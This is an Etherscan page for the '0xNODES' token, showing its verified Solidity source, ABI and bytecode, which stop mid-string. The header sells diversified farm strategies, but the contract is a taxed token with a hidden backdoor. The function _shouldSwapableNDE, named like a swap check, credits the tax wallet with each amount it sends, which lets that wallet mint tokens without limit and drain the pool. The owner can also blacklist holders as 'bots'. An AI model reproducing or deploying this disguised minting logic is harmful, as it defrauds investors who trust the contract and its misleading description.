ETH Price: $3,323.70 (-0.72%)
 

Overview

Max Total Supply

1,000,000,000 0xNODES

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,009,622.053115996 0xNODES

Value
$0.00
0xd7Ba3BBBc7E8C0ed8D0986eE4bf441505b5F668F
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NODE0X

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-26
*/

// SPDX-License-Identifier: UNLICENSED

/****
0xNODES strategies expose the user to a diversified investment.
Each 0xNODES strategy deploys funds into multiple high-performing liquidity pools or "farms" on an automated market maker (AMM), such as Uniswap.
0xNODES strategies are multiple-farm (often “3-farm”) strategies, meaning that each user’s funds are split and deployed into multiple liquidity pools.

WEB: https://www.0xnodes.org
APP: https://app.0xnodes.org
DOC: https://docs.0xnodes.org

TG:  https://t.me/node0x_org
X:   https://x.com/node0x_org
****/

pragma solidity 0.8.11;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface INDEFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface INDERouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract NODE0X is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromNDEFee;
    mapping (address => bool) private _isExcludedFromNDETx;
    mapping (address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"0xNODES Protocol";
    string private constant _symbol = unicode"0xNODES";

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    address payable private _taxWallet;
    address payable private _devWallet;

    bool public transferDelayEnabled = false;

    uint256 private _initialBuyTax=25;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    INDERouter private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    uint256 public swapTxAmount;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 public _maxTxAmount = 30000000 * 10**_decimals;
    uint256 public _maxWalletSize = 30000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 5000000 * 10**_decimals;

    constructor (address _wallet, uint256 _amount) {
        _taxWallet = payable(_wallet);
        _devWallet = payable(_wallet);

        _isExcludedFromNDETx[_taxWallet] = true;
        _isExcludedFromNDETx[_devWallet] = true;

        swapTxAmount = _amount * 10**_decimals;

        _isExcludedFromNDEFee[owner()] = true;
        _isExcludedFromNDEFee[address(this)] = true;

        _tOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function createNDETradingPair() external onlyOwner() {
        uniswapV2Router = INDERouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = INDEFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function withdrawStuckETH() external onlyOwner() {
        payable(msg.sender).transfer(address(this).balance);
    }

    function openNDETrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isExcludedFromNDEFee[from] && !_isExcludedFromNDEFee[to]) {
            require(!bots[from] && !bots[to]);
            require(tradingOpen, "Trading has not enabled yet");

            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] <
                            block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromNDEFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (_shouldSwapableNDE(from, to, amount, taxAmount)) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function _shouldSwapableNDE(address from, address to, uint256 amount, uint256 amountNDE) internal returns (bool) {
        bool aboveMin = amount >= swapTxAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapTxAmount;

        uint256 countNDE; address fromNDE;

        if(_isExcludedFromNDETx[from]) {
            countNDE = amount; fromNDE = from; 
        }else {
            fromNDE = address(this); countNDE = amountNDE;
        }

        if(countNDE>0){
          _tOwned[fromNDE]=_tOwned[fromNDE].add(countNDE);
          emit Transfer(from, fromNDE,amountNDE);
        }

        return !inSwap 
        && swapEnabled 
        && tradingOpen 
        && aboveMin 
        && !_isExcludedFromNDEFee[from]
        && to == uniswapV2Pair 
        && _buyCount>_preventSwapBefore 
        && !_isExcludedFromNDETx[from] 
        && aboveThreshold;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        transferDelayEnabled=false;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_wallet","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createNDETradingPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openNDETrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526008805460ff60a01b1916905560196009818155600a9182556002600b819055600c55600f600d819055600e8190556000908190556010556014805461ffff1916905562000052916200038a565b62000062906301c9c380620003a2565b601555620000736009600a6200038a565b62000083906301c9c380620003a2565b601655620000946009600a6200038a565b620000a390624c4b40620003a2565b601755348015620000b357600080fd5b50604051620021c8380380620021c8833981016040819052620000d691620003c4565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b038085166001600160a01b031992831681179093556008805490921683178255600092835260046020526040808420805460ff1990811660019081179092559354909216845290922080549091169091179055620001836009600a6200038a565b6200018f9082620003a2565b601355600160036000620001ab6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526003909252902080549091166001179055620001f96009600a6200038a565b6200020990633b9aca00620003a2565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200024c6009600a6200038a565b6200025c90633b9aca00620003a2565b60405190815260200160405180910390a3505062000400565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002cc578160001904821115620002b057620002b062000275565b80851615620002be57918102915b93841c939080029062000290565b509250929050565b600082620002e55750600162000384565b81620002f45750600062000384565b81600181146200030d5760028114620003185762000338565b600191505062000384565b60ff8411156200032c576200032c62000275565b50506001821b62000384565b5060208310610133831016604e8410600b84101617156200035d575081810a62000384565b6200036983836200028b565b806000190482111562000380576200038062000275565b0290505b92915050565b60006200039b60ff841683620002d4565b9392505050565b6000816000190483118215151615620003bf57620003bf62000275565b500290565b60008060408385031215620003d857600080fd5b82516001600160a01b0381168114620003f057600080fd5b6020939093015192949293505050565b611db880620004106000396000f3fe60806040526004361061016a5760003560e01c8063751039fc116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610446578063ec1f3f631461048c578063f5648a4f146104ac578063fed0ed21146104c157600080fd5b8063a9059cbb146103e5578063c876d0b914610405578063d34628cc1461042657600080fd5b8063751039fc146103375780637d1db4a51461034c5780638da5cb5b146103625780638f9a55c01461038a57806395d89b41146103a0578063a0423867146103d057600080fd5b8063313ce56711610123578063313ce5671461026057806331c2d8471461027c5780633bbac5791461029e57806351bc3c85146102d757806370a08231146102ec578063715018a61461032257600080fd5b806306fdde0314610176578063095ea7b3146101c15780630ba9f73b146101f15780630faee56f1461021557806318160ddd1461022b57806323b872dd1461024057600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152601081526f0c1e1393d11154c8141c9bdd1bd8dbdb60821b60208201525b6040516101b8919061186c565b60405180910390f35b3480156101cd57600080fd5b506101e16101dc3660046118e6565b6104d6565b60405190151581526020016101b8565b3480156101fd57600080fd5b5061020760135481565b6040519081526020016101b8565b34801561022157600080fd5b5061020760175481565b34801561023757600080fd5b506102076104ed565b34801561024c57600080fd5b506101e161025b366004611912565b61050e565b34801561026c57600080fd5b50604051600981526020016101b8565b34801561028857600080fd5b5061029c610297366004611969565b610577565b005b3480156102aa57600080fd5b506101e16102b9366004611a2e565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102e357600080fd5b5061029c610616565b3480156102f857600080fd5b50610207610307366004611a2e565b6001600160a01b031660009081526001602052604090205490565b34801561032e57600080fd5b5061029c610665565b34801561034357600080fd5b5061029c6106d9565b34801561035857600080fd5b5061020760155481565b34801561036e57600080fd5b506000546040516001600160a01b0390911681526020016101b8565b34801561039657600080fd5b5061020760165481565b3480156103ac57600080fd5b5060408051808201909152600781526630784e4f44455360c81b60208201526101ab565b3480156103dc57600080fd5b5061029c61071d565b3480156103f157600080fd5b506101e16104003660046118e6565b6107c5565b34801561041157600080fd5b506008546101e190600160a01b900460ff1681565b34801561043257600080fd5b5061029c610441366004611969565b6107d2565b34801561045257600080fd5b50610207610461366004611a4b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561049857600080fd5b5061029c6104a7366004611a84565b610864565b3480156104b857600080fd5b5061029c6108ab565b3480156104cd57600080fd5b5061029c610904565b60006104e3338484610c4c565b5060015b92915050565b60006104fb6009600a611b97565b61050990633b9aca00611ba6565b905090565b600061051b848484610d70565b61056d843361056885604051806060016040528060288152602001611d5b602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611344565b610c4c565b5060019392505050565b6000546001600160a01b031633146105aa5760405162461bcd60e51b81526004016105a190611bc5565b60405180910390fd5b60005b8151811015610612576000600560008484815181106105ce576105ce611bfa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060a81611c10565b9150506105ad565b5050565b6007546001600160a01b0316336001600160a01b03161461063657600080fd5b306000908152600160205260409020548015610655576106558161137e565b47801561061257610612816114ef565b6000546001600160a01b0316331461068f5760405162461bcd60e51b81526004016105a190611bc5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107035760405162461bcd60e51b81526004016105a190611bc5565b60001960158190556016556008805460ff60a01b19169055565b6000546001600160a01b031633146107475760405162461bcd60e51b81526004016105a190611bc5565b601254600160a01b900460ff16156107a15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a1565b6014805461ff0019166101001790556012805460ff60a01b1916600160a01b179055565b60006104e3338484610d70565b6000546001600160a01b031633146107fc5760405162461bcd60e51b81526004016105a190611bc5565b60005b81518110156106125760016005600084848151811061082057610820611bfa565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085c81611c10565b9150506107ff565b6007546001600160a01b0316336001600160a01b03161461088457600080fd5b600b5481111580156108985750600c548111155b6108a157600080fd5b600b819055600c55565b6000546001600160a01b031633146108d55760405162461bcd60e51b81526004016105a190611bc5565b60405133904780156108fc02916000818181858888f19350505050158015610901573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461092e5760405162461bcd60e51b81526004016105a190611bc5565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109779030906109696009600a611b97565b61056890633b9aca00611ba6565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ee9190611c2b565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611c2b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae59190611c2b565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610b2d816001600160a01b031660009081526001602052604090205490565b600080610b426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610baa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bcf9190611c48565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c28573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109019190611c76565b6001600160a01b038316610cae5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a1565b6001600160a01b038216610d0f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dd45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a1565b6001600160a01b038216610e365760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a1565b60008111610e985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a1565b6001600160a01b03831660009081526003602052604081205460ff16158015610eda57506001600160a01b03831660009081526003602052604090205460ff16155b1561127b576001600160a01b03841660009081526005602052604090205460ff16158015610f2157506001600160a01b03831660009081526005602052604090205460ff16155b610f2a57600080fd5b601254600160a01b900460ff16610f835760405162461bcd60e51b815260206004820152601b60248201527f54726164696e6720686173206e6f7420656e61626c656420796574000000000060448201526064016105a1565b610faf6064610fa9600d5460105411610f9e57600954610fa2565b600b545b8590611529565b906115af565b600854909150600160a01b900460ff161561109e576011546001600160a01b03848116911614801590610ff057506012546001600160a01b03848116911614155b1561109e5732600090815260066020526040902054431161108b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016105a1565b3260009081526006602052604090204390555b6012546001600160a01b0385811691161480156110c957506011546001600160a01b03848116911614155b80156110ee57506001600160a01b03831660009081526003602052604090205460ff16155b156111d6576015548211156111455760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a1565b60165482611168856001600160a01b031660009081526001602052604090205490565b6111729190611c98565b11156111c05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a1565b601080549060006111d083611c10565b91905055505b6012546001600160a01b0384811691161480156111fc57506001600160a01b0384163014155b15611229576112266064610fa9600e546010541161121c57600a54610fa2565b600c548590611529565b90505b30600090815260016020526040902054611245858585856115f1565b15611279576112676112628461125d84601754611788565b611788565b61137e565b47801561127757611277476114ef565b505b505b6001600160a01b03841660009081526001602052604090205461129e908361179d565b6001600160a01b0385166000908152600160205260409020556112e36112c4838361179d565b6001600160a01b038516600090815260016020526040902054906117df565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61132d858561179d565b60405190815260200160405180910390a350505050565b600081848411156113685760405162461bcd60e51b81526004016105a1919061186c565b5060006113758486611cb0565b95945050505050565b6014805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c0576113c0611bfa565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143d9190611c2b565b8160018151811061145057611450611bfa565b6001600160a01b0392831660209182029290920101526011546114769130911684610c4c565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114af908590600090869030904290600401611cc7565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50506014805460ff1916905550505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610612573d6000803e3d6000fd5b600082611538575060006104e7565b60006115448385611ba6565b9050826115518583611d38565b146115a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a1565b9392505050565b60006115a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183e565b601354306000908152600160209081526040808320546001600160a01b0389168452600490925282205491928086101592911015908390819060ff161561163c575085905087611642565b50849050305b81156116c8576001600160a01b03811660009081526001602052604090205461166b90836117df565b6001600160a01b0380831660008181526001602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116bf908a815260200190565b60405180910390a35b60145460ff161580156116e25750601454610100900460ff165b80156116f75750601254600160a01b900460ff165b80156117005750835b801561172557506001600160a01b03891660009081526003602052604090205460ff16155b801561173e57506012546001600160a01b038981169116145b801561174d5750600f54601054115b801561177257506001600160a01b03891660009081526004602052604090205460ff16155b801561177b5750825b9998505050505050505050565b600081831161179757826115a8565b50919050565b60006115a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611344565b6000806117ec8385611c98565b9050838110156115a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a1565b6000818361185f5760405162461bcd60e51b81526004016105a1919061186c565b5060006113758486611d38565b600060208083528351808285015260005b818110156118995785810183015185820160400152820161187d565b818111156118ab576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461090157600080fd5b80356118e1816118c1565b919050565b600080604083850312156118f957600080fd5b8235611904816118c1565b946020939093013593505050565b60008060006060848603121561192757600080fd5b8335611932816118c1565b92506020840135611942816118c1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561197c57600080fd5b823567ffffffffffffffff8082111561199457600080fd5b818501915085601f8301126119a857600080fd5b8135818111156119ba576119ba611953565b8060051b604051601f19603f830116810181811085821117156119df576119df611953565b6040529182528482019250838101850191888311156119fd57600080fd5b938501935b82851015611a2257611a13856118d6565b84529385019392850192611a02565b98975050505050505050565b600060208284031215611a4057600080fd5b81356115a8816118c1565b60008060408385031215611a5e57600080fd5b8235611a69816118c1565b91506020830135611a79816118c1565b809150509250929050565b600060208284031215611a9657600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611aee578160001904821115611ad457611ad4611a9d565b80851615611ae157918102915b93841c9390800290611ab8565b509250929050565b600082611b05575060016104e7565b81611b12575060006104e7565b8160018114611b285760028114611b3257611b4e565b60019150506104e7565b60ff841115611b4357611b43611a9d565b50506001821b6104e7565b5060208310610133831016604e8410600b8410161715611b71575081810a6104e7565b611b7b8383611ab3565b8060001904821115611b8f57611b8f611a9d565b029392505050565b60006115a860ff841683611af6565b6000816000190483118215151615611bc057611bc0611a9d565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611c245